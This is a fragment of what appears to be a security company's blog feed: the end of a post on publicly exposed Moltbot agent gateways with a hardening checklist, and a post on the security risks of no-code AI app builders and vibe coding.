href="https://substackcdn.com/image/fetch/$s_!ZjJB!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc5291cb-5c78-4ffb-ac51-bada16923dbb_1200x1200.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ZjJB!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc5291cb-5c78-4ffb-ac51-bada16923dbb_1200x1200.png 424w, https://substackcdn.com/image/fetch/$s_!ZjJB!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc5291cb-5c78-4ffb-ac51-bada16923dbb_1200x1200.png 848w, https://substackcdn.com/image/fetch/$s_!ZjJB!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc5291cb-5c78-4ffb-ac51-bada16923dbb_1200x1200.png 1272w, https://substackcdn.com/image/fetch/$s_!ZjJB!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc5291cb-5c78-4ffb-ac51-bada16923dbb_1200x1200.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ZjJB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc5291cb-5c78-4ffb-ac51-bada16923dbb_1200x1200.png" width="444" height="444" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/fc5291cb-5c78-4ffb-ac51-bada16923dbb_1200x1200.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1200,&quot;width&quot;:1200,&quot;resizeWidth&quot;:444,&quot;bytes&quot;:306849,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/185845830?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc5291cb-5c78-4ffb-ac51-bada16923dbb_1200x1200.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ZjJB!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc5291cb-5c78-4ffb-ac51-bada16923dbb_1200x1200.png 424w, https://substackcdn.com/image/fetch/$s_!ZjJB!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc5291cb-5c78-4ffb-ac51-bada16923dbb_1200x1200.png 848w, https://substackcdn.com/image/fetch/$s_!ZjJB!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc5291cb-5c78-4ffb-ac51-bada16923dbb_1200x1200.png 1272w, https://substackcdn.com/image/fetch/$s_!ZjJB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc5291cb-5c78-4ffb-ac51-bada16923dbb_1200x1200.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><ul><li><p>In some cases, configuration details containing sensitive information (for example, database connection details).</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Z6G5!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F13ac4bd0-5a3a-4993-937f-0f9d7b32e1bf_1920x1080.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Z6G5!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F13ac4bd0-5a3a-4993-937f-0f9d7b32e1bf_1920x1080.png 424w, https://substackcdn.com/image/fetch/$s_!Z6G5!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F13ac4bd0-5a3a-4993-937f-0f9d7b32e1bf_1920x1080.png 848w, https://substackcdn.com/image/fetch/$s_!Z6G5!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F13ac4bd0-5a3a-4993-937f-0f9d7b32e1bf_1920x1080.png 1272w, https://substackcdn.com/image/fetch/$s_!Z6G5!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F13ac4bd0-5a3a-4993-937f-0f9d7b32e1bf_1920x1080.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Z6G5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F13ac4bd0-5a3a-4993-937f-0f9d7b32e1bf_1920x1080.png" width="674" height="379.125" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/13ac4bd0-5a3a-4993-937f-0f9d7b32e1bf_1920x1080.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:819,&quot;width&quot;:1456,&quot;resizeWidth&quot;:674,&quot;bytes&quot;:249239,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/185845830?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F13ac4bd0-5a3a-4993-937f-0f9d7b32e1bf_1920x1080.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Z6G5!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F13ac4bd0-5a3a-4993-937f-0f9d7b32e1bf_1920x1080.png 424w, https://substackcdn.com/image/fetch/$s_!Z6G5!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F13ac4bd0-5a3a-4993-937f-0f9d7b32e1bf_1920x1080.png 848w, https://substackcdn.com/image/fetch/$s_!Z6G5!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F13ac4bd0-5a3a-4993-937f-0f9d7b32e1bf_1920x1080.png 1272w, https://substackcdn.com/image/fetch/$s_!Z6G5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F13ac4bd0-5a3a-4993-937f-0f9d7b32e1bf_1920x1080.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div></li></ul><p></p><h2><strong>This isn&#8217;t a </strong>Moltbot<strong> problem</strong></h2><p>It&#8217;s important to be clear about the framing.</p><p>This is not something specific to Moltbot. It&#8217;s a broader pattern that emerges whenever <strong>high-autonomy software</strong> is deployed without careful hardening. Moltbot is simply a concrete example of a larger shift we&#8217;re seeing across the industry.</p><p>For an agent to be useful, it often must:</p><ul><li><p>Read messages,</p></li><li><p>Store credentials</p></li><li><p>Act on a user&#8217;s behalf</p></li><li><p>Execute tools</p></li><li><p>Retain context over time.</p></li></ul><p>These are functional requirements, but they come with security consequences.</p><h2><strong>What is the risk?</strong></h2><p>When you expose a system like this, you&#8217;re not just exposing &#8220;an app.&#8221; You&#8217;re exposing a system that may have:</p><ul><li><p>Full shell access to the host (depending on enabled tools)</p></li><li><p>Browser control in contexts that may include logged-in sessions</p></li><li><p>File system read/write access</p></li><li><p>Access to email, calendars, and messaging platforms via stored tokens</p></li><li><p>Persistent state and memory across sessions</p></li><li><p>The ability to act proactively (sending messages, triggering workflows)</p></li></ul><p>That&#8217;s an enormous concentration of capability.</p><p>The risk, therefore, isn&#8217;t just data leakage.<br>It&#8217;s <strong>delegated authority</strong>: if someone gains control, they may be able to act <em>as you</em>, using the integrations and trust relationships you&#8217;ve already established.</p><h2><strong>Common Risky Patterns</strong></h2><p>Most of the risky deployments we observed did not stem from sophisticated attacks. They stem from normal people doing normal things-without following basic security practices.</p><h4><strong>1) The reverse-proxy trap</strong></h4><p>A common pattern is deploying a service behind Nginx, Caddy, or Traefik and assuming it&#8217;s safe &#8220;because it&#8217;s behind a proxy.&#8221; In reality, proxying can change how applications perceive client identity, locality, and trust boundaries. Without explicit configuration, this can turn local-only assumptions into public exposure.</p><h4><strong>2) &#8220;It&#8217;s just a test box&#8221; becomes permanent</strong></h4><p>Agent gateways tend to persist. Once connected to workflows, they stay running. Logs accumulate. Integrations multiply. What began as a demo quietly becomes long-lived infrastructure.</p><h4><strong>3) Capability creep increases the blast radius</strong></h4><p>Each additional integration expands the potential impact of compromise. Over time, an agent gateway can quietly become a credential hub, automation runner, and communications layer-without anyone explicitly deciding it has become critical infrastructure.</p><h2><strong>What this means for builders and defenders</strong></h2><p>If you operate (or build) agent gateways, you should treat them as:</p><ul><li><p>A <strong>secrets store</strong> (they hold tokens and keys)</p></li><li><p>A <strong>privileged automation runner</strong></p></li><li><p>A <strong>communications system</strong></p></li><li><p>A <strong>long-lived identity</strong></p></li></ul><p>Operationally, this shifts focus toward:</p><ul><li><p>Exposure windows and detection speed</p></li><li><p>Credential scope and revocation</p></li><li><p>Auditability</p></li><li><p>Containment and blast-radius reduction</p></li></ul><h2><strong>What should you do as a defender/builder?</strong></h2><p>First of all, Moltbot&#8217;s documentation already provides security hardening guidance and includes mechanisms operators should take advantage of:</p><ul><li><p><strong>Security guidance and auditing<br></strong>Moltbot provides <a href="https://docs.clawd.bot/cli/security">documentation</a> and CLI commands (such as moltbot security audit) to help assess configuration and exposure posture. These checks are worth running periodically, especially after deployment changes.</p></li><li><p><strong>Sandboxing to reduce blast radius<br></strong>Tool execution can be <a href="https://docs.clawd.bot/cli/sandbox">sandboxed</a> (for example, using Docker). While not a perfect boundary, this materially reduces filesystem and process exposure when something goes wrong. Sandbox scope (agent, session, shared) also affects cross-session isolation and should be chosen deliberately.</p></li></ul><p>These measures don&#8217;t eliminate risk-but they meaningfully reduce impact.</p><h4>Practical hardening checklist</h4><p>For Moltbot, or any similar CUA, the following baseline is advised to minimize risk:</p><ul><li><p>Do <strong>not</strong> expose control/admin surfaces to the public internet. Use private networking, VPNs, or strong access controls.</p></li><li><p>Require authentication everywhere, and verify it remains enforced behind reverse proxies.</p></li><li><p>Run the system in an isolated environment (VM, dedicated host, sandbox, or segmented network). Avoid running it on daily-use machines.</p></li><li><p>Use test accounts before connecting real credentials.</p></li><li><p>Treat logs, history, and configuration as sensitive data; lock down permissions and avoid directory listings.</p></li><li><p>Run built-in security audits regularly and remediate findings.</p></li><li><p>Reduce privileges and minimize tool execution scope as much as possible.</p></li></ul><p><strong>Rule of thumb:<br></strong>If an agent can read your messages, send messages as you, access your files, and run tools, it deserves the same security posture as a production admin console and secrets manager-because functionally, that&#8217;s what it is.</p><p>If you don&#8217;t follow these best practices you can safely assume that someone on the internet WILL find your deployment within hours.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!_3JG!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F37970cb3-e78b-424b-a519-43ccfee8de46_1172x356.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!_3JG!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F37970cb3-e78b-424b-a519-43ccfee8de46_1172x356.png 424w, https://substackcdn.com/image/fetch/$s_!_3JG!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F37970cb3-e78b-424b-a519-43ccfee8de46_1172x356.png 848w, https://substackcdn.com/image/fetch/$s_!_3JG!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F37970cb3-e78b-424b-a519-43ccfee8de46_1172x356.png 1272w, https://substackcdn.com/image/fetch/$s_!_3JG!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F37970cb3-e78b-424b-a519-43ccfee8de46_1172x356.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!_3JG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F37970cb3-e78b-424b-a519-43ccfee8de46_1172x356.png" width="654" height="198.65529010238907" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/37970cb3-e78b-424b-a519-43ccfee8de46_1172x356.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:356,&quot;width&quot;:1172,&quot;resizeWidth&quot;:654,&quot;bytes&quot;:106919,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/185845830?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F37970cb3-e78b-424b-a519-43ccfee8de46_1172x356.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!_3JG!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F37970cb3-e78b-424b-a519-43ccfee8de46_1172x356.png 424w, https://substackcdn.com/image/fetch/$s_!_3JG!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F37970cb3-e78b-424b-a519-43ccfee8de46_1172x356.png 848w, https://substackcdn.com/image/fetch/$s_!_3JG!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F37970cb3-e78b-424b-a519-43ccfee8de46_1172x356.png 1272w, https://substackcdn.com/image/fetch/$s_!_3JG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F37970cb3-e78b-424b-a519-43ccfee8de46_1172x356.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><h2><strong>Final thoughts</strong></h2><p>This isn&#8217;t about inducing fear, and it isn&#8217;t about singling out Moltbot.</p><p>It&#8217;s about recognizing a broader shift: <strong>autonomous agents dramatically increase the blast radius of misconfiguration</strong>. Adoption is inevitable. The tools are useful. The economics are compelling.</p><p>The open question is whether we harden these systems like the privileged infrastructure they are, <strong>before the internet does what the internet always does</strong>.</p><div><hr></div><blockquote><p>At <strong>Pluto</strong>, we&#8217;re enabling enterprises to use AI Builders securely.<br>Want to learn more? Let&#8217;s talk.</p></blockquote><div><hr></div><div class="captioned-button-wrap" data-attrs="{&quot;url&quot;:&quot;https://blog.pluto.security/p/clawdbot-in-the-wild-exposure-risks?utm_source=substack&utm_medium=email&utm_content=share&action=share&quot;,&quot;text&quot;:&quot;Share&quot;}" data-component-name="CaptionedButtonToDOM"><div class="preamble"><p class="cta-caption">Thanks for reading! This post is public so feel free to share it.</p></div><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://blog.pluto.security/p/clawdbot-in-the-wild-exposure-risks?utm_source=substack&utm_medium=email&utm_content=share&action=share&quot;,&quot;text&quot;:&quot;Share&quot;}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://blog.pluto.security/p/clawdbot-in-the-wild-exposure-risks?utm_source=substack&utm_medium=email&utm_content=share&action=share"><span>Share</span></a></p></div><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://blog.pluto.security/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption"> <strong>Subscribe to Pluto Security</strong></p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><div><hr></div><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://substack.com/@plutosecurity/note/p-185845830&quot;,&quot;text&quot;:&quot;Leave a comment&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://substack.com/@plutosecurity/note/p-185845830"><span>Leave a comment</span></a></p>]]></content:encoded></item><item><title><![CDATA[When Everyone Becomes a Creator - The Opportunities and Risks of AI-Builders]]></title><description><![CDATA[By Rick Doten, Veteran CISO, AI Researcher and Shahar Bahat, CEO of Pluto Security]]></description><link>https://blog.pluto.security/p/when-everyone-becomes-a-creator-the</link><guid isPermaLink="false">https://blog.pluto.security/p/when-everyone-becomes-a-creator-the</guid><dc:creator><![CDATA[Pluto Security]]></dc:creator><pubDate>Fri, 14 Nov 2025 13:21:03 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/9f9e6d8a-bef6-4663-98e8-8b9c500c476e_1600x819.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3>The Shift No One Prepared For</h3><p>AI has quickly and quietly changed who can build.<br>With tools like <strong>Lovable, V0, n8n, Cursor, and Claude Code</strong>, anyone in the organization (from developers to marketing and sales) can now create full applications, workflows, and automations in minutes. The separation of development team from the rest of the company is dissolving fast.</p><p>According to lovable, 30% of fortune 1000 companies are using vibe coding platforms.</p><p>This movement, &#8220;<strong>vibe coding,&#8221;</strong> is transforming how organizations innovate. But it&#8217;s also introducing a massive, largely invisible security problem - one that most companies don&#8217;t yet know they have.</p><h2>Three Flavors of AI-Assisted Development</h2><p>To understand the risk, it helps to look at the spectrum of how AI is used to build software:</p><ol><li><p><strong>AI in the IDE [Integrated Development Environment] (Cursor + GPT5 / Claude Code)</strong> - Professional developers use AI copilots directly in their IDEs to refactor, troubleshoot, and write code.<br>These tools accelerate productivity but still work within controlled repositories and system development lifecycle (SDLC) review processes that include security checks.<br></p></li><li><p><strong>Embedded AI Development (Claude Code, GitHub Copilot)</strong> - Here, AI assists inline: generating code snippets, logic, or bug fixes while the developer maintains human-in-the-loop oversight.<br>The process follows the SDLC, and code is still visible to traditional application security (AppSec) tooling - though not always fully explainable or auditable.<br></p></li><li><p><strong>No-Code, prompt-based, AI Builders (Lovable, Bolt, V0)</strong> - Business users describe what they want - &#8220;Build me an internal dashboard connected to Salesforce&#8221; - and the system automatically scaffolds, configures, and deploys a working app.<br>There&#8217;s no SDLC,  no code review, and often no access or knowledge by  the IT or security teams.<br></p></li></ol><p>Across this spectrum, the tradeoff is clear: the more abstract and accessible development becomes, the less transparency and control of the platform,  organizations retain. And therefore, it introduces an unknown and unmeasured risk to the organization.</p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://blog.pluto.security/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://blog.pluto.security/subscribe?"><span>Subscribe now</span></a></p><h2>The Blind Spot: When Innovation Outruns Security</h2><p>Fundamental security models start with asset management: we can&#8217;t secure what we don&#8217;t see - servers, data repositories, network pipelines, and application programming interfaces (APIs) that let applications talk to each other are cataloged and under IT control. AI code builders changed that by creating applications outside and opaque to the organization..</p><p>Today, a marketing manager can spin up an app in <strong>Lovable</strong>, connect it to a production database on <strong>Supabase</strong>, expose it through a public endpoint, and share it with customers - all without a single provisioning ticket to IT or security.</p><p>While this can speed up development, and democratize application creation to accelerate innovation, it is bringing  an entire shadow layer of infrastructure, attack surface, identity access, and data exposure..</p><p>Let&#8217;s break down what&#8217;s really happening behind the scenes:</p><ul><li><p><strong>Third-party infrastructure:</strong> Tools like Lovable or V0 automatically deploy apps on external clouds or shared multi-tenant environments, often storing organizational data outside known asset inventories, and outside the scope of IT controls.<br></p></li><li><p><strong>Unmanaged access and credentials:</strong> Users authenticate with personal accounts or share API keys, bypassing internal identity services and audit trails. Service-to-service communication often uses long-lived, hard coded secrets instead of managed identities.<br></p></li><li><p><strong>Unmonitored integrations and sensitive data exposure:</strong> Citizen-built apps frequently connect to core systems , Salesforce, Slack, internal APIs , without any request tracking permission boundaries, or logging. Even when data such as PII is collected only within the system, it can still introduce significant privacy and compliance risks if not properly governed.<br></p></li><li><p><strong>Internet exposure:</strong> These apps are instantly live, discoverable, and sometimes indexed, creating open attack surfaces without security testing.<br></p></li><li><p><strong>No version control or security scanning:</strong> There are no quality assurance (QA) checks; and generated or configured software logic never passes through SDLC security gates such as; Static Application Security testing (SAST), Software Composition Analysis [code review] (SCA), Automated SCA, (ASCA), or Infrastructure as Code (IaC) checks, leaving vulnerabilities and misconfigurations undetected&#8211;in Production Applications.</p></li></ul><p>This combination makes AI-built apps the perfect storm of innovation and risk - fast-moving, hard to detect, and integrated deep into business operations. And because traditional tools were never designed to see into these environments, security teams are unaware of their existence and flying completely blind.</p><h3>Security Teams Don&#8217;t want to be Ones Blocking Innovation</h3><p>When security leaders can&#8217;t see what&#8217;s being built, their default response is to block.<br>It&#8217;s not because they want to slow the business down - it&#8217;s because they can&#8217;t quantify the risk and protect what they can&#8217;t observe. We&#8217;ve seen this tension before: cloud adoption, open-source, and even DevOps all went through similar phases. But this time, the speed and democratization of AI-driven development make the challenge exponentially harder. Blocking AI tools outright doesn&#8217;t work. Developers and business users will just find workarounds. The real goal is to <strong>enable safe innovation</strong> - giving teams freedom to build while maintaining basic visibility, control, and data protection.</p><p>AI builders are a <em>positive</em> shift. They unlock creativity, speed, and empowerment across the business. But right now, that innovation runs without shared visibility or security standards. There&#8217;s no way to measure or enforce basic hygiene - what data is used, who has access, or how apps connect. You can put policies in place (asset registries, deployment gates, data restrictions, allowlists) and they help, but only up to a point.  The citizen developers don&#8217;t intentionally want to bring risk to the organization, but they don&#8217;t know the SDLC, what the application security risks and standards are, or know what to ask.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://blog.pluto.security/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><h3>Enabling Innovation, Safely</h3><p>The goal isn&#8217;t to slow this movement down - it&#8217;s to educate, gain visibility, and enable it safely. Organizations need a way to apply <em>security metrics and enforcement</em> to this new layer of creation, just like we already do for code, cloud, and data.</p><p>At a high level, those guardrails should act as an invisible scaffolding and framework  around innovation: automatically identifying new apps and workflows as they&#8217;re created, classifying what data and systems they touch, verifying access and permissions, and enforcing lightweight policies in real time. It&#8217;s about making security convenient, continuous, and contextual - built into the creative process, not bolted on afterward.</p><p>That shift is already starting. Security and innovation no longer have to compete &#8212; they can finally move at the same speed. Even simple policies like &#8220;you can create internal tools or workflows in Lovable or Bolt, but they can only access <em>non-sensitive</em> or <em>tier-low</em> systems until the app goes through the security SDLC and approval&#8221; go a long way in balancing empowerment and safety.</p><p>There is a common saying in security that Formula 1 cars can go so fast because they have good breaks.  But just having a policy for vibe coding doesn&#8217;t make it magically happen.  We need a way to automatically identify new creation, and route vibe coding projects into the right processes, while allowing everyone to use it frictionlessly; but behind the scenes IT and security are able to review the app / workflow and supporting infrastructure and remediate risks.</p><p>This new security flow requires the use of current and new platforms.  We will discuss and illustrate the details of how this would be applied in the next paper.</p><h2>Security for the New Era of Digital Creation</h2><p>AI builders have introduced a new reality inside organizations - one where applications, workflows, and integrations are created dynamically by anyone, often outside IT and security oversight. Each of these creations lives on its own infrastructure, connected to corporate systems, storing data, and operating with real permissions.</p><p>This isn&#8217;t a problem of code quality or vulnerability management - it&#8217;s a problem of visibility, trust, and governance across a completely new layer of creation. Security teams now need to understand who is building what, where it runs, what data it touches, and how it connects back into the organization.</p><p>But visibility alone isn&#8217;t enough. To effectively secure this new layer, security teams must also establish new communication channels with these emerging builders -  channels built on trust, guidance, and collaboration rather than control. Only by doing so can they align innovation with protection and ensure that security becomes an enabler, not an obstacle.</p><p>The goal isn&#8217;t to control or block innovation, it&#8217;s to give organizations a way to observe, guide, and protect this new form of digital development without slowing it down. Those who will adopt this security first will not only prevent risk - they&#8217;ll be the ones who can safely move at the speed of AI.</p>]]></content:encoded></item><item><title><![CDATA[Secure AI Development with Commands: Beyond Static Rules]]></title><description><![CDATA[Turning security checklists and best practices into executable, self-updating workflows developers actually use.]]></description><link>https://blog.pluto.security/p/secure-ai-development-with-commands</link><guid 